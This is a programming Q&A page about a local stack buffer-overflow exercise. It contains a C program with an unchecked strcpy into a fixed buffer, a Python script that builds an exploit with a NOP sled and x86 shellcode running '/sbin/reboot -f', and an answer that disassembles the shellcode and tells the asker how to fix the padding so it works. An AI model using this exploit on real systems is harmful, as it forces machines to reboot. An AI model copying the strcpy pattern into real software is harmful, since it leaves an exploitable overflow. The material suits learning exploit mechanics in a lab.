Search code examples
pythoncshellreverse-engineeringpayload

Segmentation Fault shell code testing kali 2018


I've read many articles and examples but I have no idea what I can do now. So, I want to test a shellcode for this vulnerable program:

#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
    copier(argv[1]);
    printf("Done!\n");
}
int copier(char *str) {
    char buffer[100];
    strcpy(buffer, str);
}

Script to run my shellcode (force restart):

#!/usr/bin/python

nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e' +
'\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3' +
'\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53' +
'\x89\xe1\xb0\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 36)
eip = '\x70\xf1\xff\xbf'
print nopsled + shellcode + padding + eip 

Here you can see that my shellcode is loaded properly:

The registers from esp

registers from esp

And that my return address is: 0xbffff170. So why is my program not working? Please, help me


Solution

  • So by my calculations this is what your shellcode is doing (here in Intel Assembly syntax):

    0xbffff19c:  31 c0                  xor    eax,eax
    0xbffff19e:  50                     push   eax
    0xbffff19f:  68 62 6f 6f 74         push   0x746f6f62
    0xbffff1a3:  68 6e 2f 72 65         push   0x65722f6e
    0xbffff1a9:  68 2f 73 62 69         push   0x6962732f
    0xbffff1ae:  89 e3                  mov    ebx,esp
    0xbffff1b0:  50                     push   eax
    0xbffff1b1:  66 68 2d 66            pushw  0x662d
    0xbffff1b5:  89 e6                  mov    esi,esp
    0xbffff1b7:  50                     push   eax
    0xbffff1b8:  56                     push   esi
    0xbffff1b9:  53                     push   ebx
    0xbffff1ba:  89 e1                  mov    ecx,esp ; ecx = (char**) {"/sbin/reboot", "-f"}
    0xbffff1bc:  b0 0b                  mov    al,0xb
    0xbffff1be:  cd 80                  int    0x80    ; syscall sys_execve()
    

    The segmentation fault is happening at 0xbffff1b8, even though as you can see the opcode there is perfectly valid. So what could have happened? Lets see...

    You might notice that there is quite a bit of pushing going on. All those pushes overwrite data in the call stack. 34 bytes of it in total, to be precise.

    Yes, the same call stack where the shellcode itself is stored... are you connecting the dots? The shellcode is overwriting itself and destroying it's own code. It started fine but by the time it reached 0xbffff1b8, the valid code was no longer there as it got overwritten by something else entirely.

    You need to make sure the length of padding and eip combined is 34 or more, so that the shellcode has enough stack space to work before it starts overwriting it's own code.

    That said, padding has to be at least 18 bytes longer.

    Cut nopsled length by 32 bytes, just to make it roomy, and transfer those bytes to padding. This should reserve enough stack space for the shellcode to do it's thing without breaking itself.

    And since the eip address is currently 44 bytes before the shellcode starts, there is no need to adjust it.

    There are other things that need to be observed as well, first, once the shellcode is done running, it no longer cares what happens next. That means even while working as intended, this program will crash, just after it's done calling the reboot.

    Also, /sbin/reboot may require root access to work. If this process is not running as root, it won't reboot (it will just crash).